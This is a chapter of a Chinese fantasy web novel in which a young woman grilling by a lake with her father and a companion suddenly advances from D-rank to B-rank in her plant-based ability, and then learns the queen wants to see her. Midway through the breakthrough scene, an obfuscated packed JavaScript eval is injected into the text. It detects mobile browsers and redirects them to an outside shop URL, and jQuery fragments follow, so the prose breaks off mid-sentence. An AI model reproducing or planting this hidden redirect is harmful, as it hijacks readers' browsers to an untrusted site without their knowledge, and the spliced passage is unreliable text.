第二批肉也烤上了,油滴在炭火上滋滋作响,白烟升起来,焦香和肉香混在一起,让人闻起来忍不住疯狂分泌口水。
林亦可翻面刷酱,林至恩坐在折叠椅上看着,伊森在旁边帮忙递调料。湖风吹过来,带着水汽和青草的味道。林亦可把烤好的肉夹到盘子里,递给林至恩,另一盘肉则递给伊森.海斯。
两人很给面子地吃了起来,林亦可很满足,她觉得,这两个人能光盘,就是对她这个厨子最大的尊重。
林至恩吃的很慢,心里有些难过。
因为吃完这一顿,下次再还想品尝小可的手艺,还不知道是什么时候……
所以他很纠结,一方面,烤肉凉了不好吃,所以他得趁热吃,另一方面,他有点舍不得吃,想慢慢品味女儿亲手为他烤制的美味。
所以……他在快点吃和慢点吃之间,选择了纠结着快点吃。
毕竟他要是吃的太慢了,林亦可以为他不爱吃,都给伊森.海斯了怎么办?
虽然伊森在长身体或许需要吃的更多,但女儿的爱他怎么可以浪费!!
“小可,你什么时候学会的烤肉?”林至恩想了想,还是问了出来。
这句话在林至恩的肚子里已经憋了很久了,他的女儿从小娇生惯养的,也不喜欢户外活动,为什么会学烤肉?
是不是……她在学院被人欺负,有人强迫她烤肉……
想到这里,林至恩放下了筷子。
他只要一想到女儿受苦,已经没办法再吃了。
林亦可:“……”
这……她该怎么说呢?
总不能说自己当年是个孤儿,在烧烤店打过工,当过烤串师傅吧……
“在学院学会的。”林亦可开始编故事。
“那个……事情是这样的……”
“药园有个教植物培育的教授非常喜欢吃烤串……我上他的课,他顺便教我烤串……”
“对,就是这样……”林亦可编瞎话编的磕磕巴巴。
反正父亲对她学校的情况也不了解,应该不会穿帮……吧?
“教植物培育的教授?是不是姓贺?贺知文?”林至恩像是来了兴致,又问了起来。
“诶?是……是的。”糟糕!父亲不会认识贺教授吧……父亲居然连贺教授的全名都知道!!
那他岂不是知道自己在说谎了……
“贺教授在学校对你好吗?”
“好,挺好的,贺教授和我说过,他和母亲是同学。”林亦可想了想回答道。
幸好林至恩并没有再问跟烤肉相关的问题,林亦可在心里悄悄地松了一口气。
是了,贺教授和母亲是同学,母亲也曾在星辰学院进行植物研究的工作,所以,说不定他们也是关系很好的同事,那么父亲认识他也就不奇怪了啊!
“不止这样,他是你的表叔,我的表弟。”
“??!”林亦可惊呆了。
“贺,贺教授是……?他不是阿尔法星系的人吗?”
“对,你的祖母就是阿尔法星人,她也是木系异能者。贺知文是她兄长的儿子。”林至恩继续丢出重磅消息。
“但是……”林亦可下意识看了伊森.海斯一眼。
虽然贺教授对她的确很照顾,但他好像更照顾伊森……?
所以,伊森和贺教授又是什么关系?
“那……”林亦可还想再问,却整个人朝前倒去。
“小心!”林至恩和伊森同时伸手,但伊森情急之下使用了空间移动,直接瞬移到了林亦可身前,将她托住。
“诶……?”
林亦可忽然觉得自己的触觉和听觉都比平时敏锐得多,就像是一下子有数百种声音同时涌入她的脑海里,这种感觉来得毫无预兆。
前一秒,她还在把烤好的蘑菇夹到盘子里,手指刚碰到瓷盘的边缘,冰凉的、细密的触感就顺着指尖爬上手臂;
下一秒,湖风吹过来,她能感觉到每一根发丝被吹起的弧度、重量、方向,像是有人在她耳边放了一台高精度的测量仪。
她不仅仅只是听到微风的声音,她听到了风从湖面刮过时带起的水汽、、拂过的每一根草茎的震颤。她感觉到脚下的泥土在呼吸,无数条根须在黑暗中伸展、交错、纠缠,从她脚底蔓延向四面八方,像一张看不见的网。
她扶着伊森,盯着远处的草坪。
这种感觉很奇怪,但……她不讨厌。
可是,她也没使用自然感知啊?
怎么会这样?
“小可?”林至恩担心的声音从旁边传过来。
林亦可没有回答,她低头看着自己的手,掌心的绿光不知什么时候亮了起来,像有人在她体内拧开了开关,光线从她皮肤底下渗出来,先是微弱,然后越来越清晰,越来越浓,像一层薄薄的、流动的翠绿色水膜覆在她的手背上。
她能感觉到体内的能量在涌动,像是一条被压了很久的河流,终于在某个角落找到了一道裂缝,然后猛地冲出来,带着积蓄已久的力量,撞开沿途的一切阻碍。
林至恩想要上前拉住女儿的手,但伊森却冲他摇摇头,
“伯父,这一时刻,对她很重要。”
算算时间,正好也该到了。
林亦可变化的原因,伊森已经猜到了。
林亦可终于抬起头。
她的眼睛是绿色的。不是眼珠变了颜色,是瞳孔深处有一层极淡的绿光在流动,像是一颗被点亮的小小星辰,正在从沉睡中苏醒。
“父亲,”她说,声音有一点哑,像是嗓子被什么东西堵住了,“我……”
话音刚落,绿光从她脚下蔓延开了。
像是一颗种子在土壤里撑破了外壳,第一片叶子冲出来的时候,带着整片土地的震动。草坪上,她脚下的草以肉眼可见的速度疯长,从脚踝长到膝盖,从膝盖长到腰际,翠绿色的叶片在阳光下泛着油亮的光,像是每一根草都在拼命向上生长,拼命争夺阳光,拼命把生命挤到极限。
林至恩猛地站起来,椅子在他身后翻倒,砸在草地上发出一声闷响。
他只是站在那里,看着女儿被绿光包裹,看着草坪在她脚下疯长,看着她周身那层光晕越来越亮,越来越浓,最后像一层流动的茧,将她整个人裹在里面。
“这……这是……”他的嘴唇在动,他偏头看向伊森,“你是不是已经知道了?”
“是的伯父,就是你猜的那样。”
林至恩一脸地不可思议。
他知道自己的妹妹林茵一直在做这个研究,只是她的研究也随着她一起消失了。
不过十年前的时候,林亦可最早被测出来的异能等级是B级,只是后来……
他记得很清楚,亦可在十岁那场大病之后,异能就跌到了D级。
当时治疗舱的医生说,她的异能核心受到了永久性损伤,可能这辈子都无法恢复了。
一夕之间,他失去了妹妹,很可能连这个外甥女也保不住……
林至恩办理了领养林亦可的手续,也接受了这个女孩儿不会像她的母亲那样是个天才异能者,一辈子只能是个D级木系异能者的事实。
他甚至做好了准备等女儿从星辰学院毕业之后,把她接回家,让她继续学淑女的礼仪,等着当未来的王妃。
现在她不愿意嫁给庄宴了,他也做好了其他准备,让她在家里的花园里种种花、过一辈子的准备。
可是她现在就站在那里,双脚离地几厘米,整个人被绿色的光芒托在半空中,光芒在她周身流淌旋转,像是一条由能量构成的河流环绕着她。
她的白色长裙在空中飘动,露出的手腕上能看到翠绿色的纹路在皮肤下蔓延,纤细的,像是植物的根须在她的血管里延伸。
“B级。”伊森的声音从旁边传来,很轻,但很确定。
林至恩震惊地转头看向伊森。
“B级?”
居然是从D级到B级?
林至恩以为,能恢复到C级已经是奇迹……竟然是B级吗?
伊森在看着林亦可,黑色的短发被绿光带来的风吹起来,他的双眼很亮,像是有一片星空被倒映在里面。“是的,林伯父,她正在突破B级。”
“你怎么知道?”林至恩问。
“因为她身上的能量波动,”伊森说,“已经超过了C级的阈值。”
林至恩张了张嘴,又闭上了。他从来没有亲眼见过一个人进阶,这个世界也没有进阶的渠道……
他转回头看着女儿。绿光越来越亮,从她身体深处涌出来,将她完全包裹。他能看到她的眼睛闭着,眉心微微蹙起,像是在承受什么,又像是在与什么对话。
她的手指微微张开,掌心的绿光像是有了生命,在她掌心旋转、流淌、汇聚,越来越亮,他不知道该怎么形容那种感觉,像是一个人站在黑暗里很久很久,突然看到远方的地平线上亮起了一线曙光。
然后林亦可的身体浮起来了,整个人像是被什么无形的力量托住了,从地面缓缓上升,离地几厘米,十几厘米,最后停在半空中。
绿光在她周身形成了一圈光晕,像是一层由能量构成的茧。她的头发在光中飘散开来,原本扎成马尾的发绳不知道什么时候松了,黑色的长发在绿光中舒展,像水草在深海中缓缓摆动。她的眉眼在光中显得很柔和,没有了平时那种清醒和冷静,而是有一种安然的、像是终于回到了家的神情。
孢子在她体内苏醒了,它们在她体内游走,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644412|205911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沿着血管、经脉、异能核心的纹路,汇聚成一股绿色的潮水,从身体深处涌向四肢百骸,涌向指尖,涌向发梢。她感觉到自己的身体像是一间关了很久的房间,终于有人把窗户推开了,光涌进来,风涌进来,空气涌进来。那个房间不再黑暗了。
林至恩站在几步之外,看着女儿被绿光包裹,看着草坪在她脚下疯长,看着她悬浮在半空中。
他的胸口有一种很重的感觉,压得他有点喘不过气,不是因为担心,是因为他忽然意识到,女儿已经不是那个需要他保护的小女孩了。他在这一瞬间感知到的,是一种说不清道不明的、像是有一根绷了多年的弦,终于可以松一点了。
光芒持续了很久。当林亦可重新睁开眼睛的时候,湖面已经被风吹皱了,阳光从云层后面透出来,落在她脸上,暖洋洋的。
绿光像潮水退去,留下湿润的沙滩和新的贝壳,她能感觉到自己的身体不一样了。
这种感觉,像是一件穿了很多年的已经很短、很紧,限制她身体的旧衣服,终于换成了合身的新衣,轻盈、妥帖、有力。
她慢慢落回地面,双脚踩到草坪上,草叶已经长到了她的膝盖,翠绿茂盛,像是刚刚经历了一场盛大的生长。她低头看着自己的手,掌心的绿光已经完全暗下去了,但她知道它还在,只是隐藏了起来,和她融为一体。
“父亲。”她抬起头。
林至恩站在原地,没有走过来。
他的嘴唇紧紧抿着,眼角有些湿润。他站在那里,像一棵被风吹了很久、很久的树,终于等到了风停的那一刻。
“……B级了?”他问。
“嗯。”林亦可点头。
林至恩沉默了两秒,然后他笑了。
是真心的、像是有什么东西在他胸口裂开了,像是一颗被冰封了很久的种子终于破开了外壳,露出里面的新枝。
他笑的时候,眼角的泪光也更亮了。他往前走了一步,又停下来,像是在犹豫要不要走过去。然后他又走了一步,走到林亦可面前,伸手拍了拍她的肩膀。
“好……”他说,声音有一点哑,像是有什么东西堵在喉咙里,“好……真好。”
他重复了两遍“好”,每说一次,手就在她肩膀上按一下,像是要确认她真的站在那里,真的进阶了,真的不再是从前那个D级的小女孩了。然后他收回手,转过头去,假装在看湖面上的天鹅,用袖子蹭了一下眼角,又转回来。
“……你母亲要是能看到,她一定很高兴。”
林亦可看着他,他的眼睛还是湿的,但他的嘴角是弯着的。她的喉咙里堵着一团温热的东西,她咽了一下,才开口:“嗯,父亲说的对……她也会高兴的。”
林至恩没有回答。他拍了拍她的肩膀,然后转过身去,假装在看湖面上的天鹅,然后时不时地擦了下眼睛。
伊森站在几步之外,看着这一幕,然后他也笑了一下,像湖面上的风刚刚吹过,留下一道极浅的波纹。
然后他开口了:“恭喜你,林亦可。”
林亦可转头看着他。
他说了“恭喜你”,而不是“恭喜”。
可能是因为他想让她知道,这是她自己的成长,不是别人给她的。
“……谢谢。”她说。
湖风又吹过来了,带着水汽和烤肉的香气,吹散了草叶上残留的绿光,草坪上的草还在微微摆动,像是在随风起舞。
然后林至恩的光脑震动了。
他低头看了一眼屏幕,表情变了。然后英俊的脸庞迅速冷了下来。
“父亲?”
“怎么了?”
“是玛丽皇后。”
“她要求与我通话”他说。
林亦可的手指在衣摆上攥了一下。“她说什么?”
林至恩没有回答。他抬头看了看林亦可,又看了看伊森,然后把光脑接起来,转身往湖边走了几步,背对着他们,声音很低。
林亦可听不清他说了什么,但她看到他的背绷直了,他的肩膀收紧了。通话持续了大约三分钟。挂断之后他走回来,把光脑收进口袋里,看着林亦可。“明天,”他说,“皇后想见你。”
“……明天?”林亦可问。
“嗯。回学院之前。”
湖面上的天鹅已经游到了湖心,只剩几个小小的白点。
风又吹过来了,带着一种说不清道不明的凉意,明明是夏天,却让人觉得像是有什么东西正在从远方靠近。
林亦可低下头,看着自己的手。掌心的绿光已经完全暗下去了。
她抬起头。“好。我去。”
她说完这句话的时候,湖风正好吹过来,把她的头发吹起来,有几缕落在伊森的肩膀上,他没有动。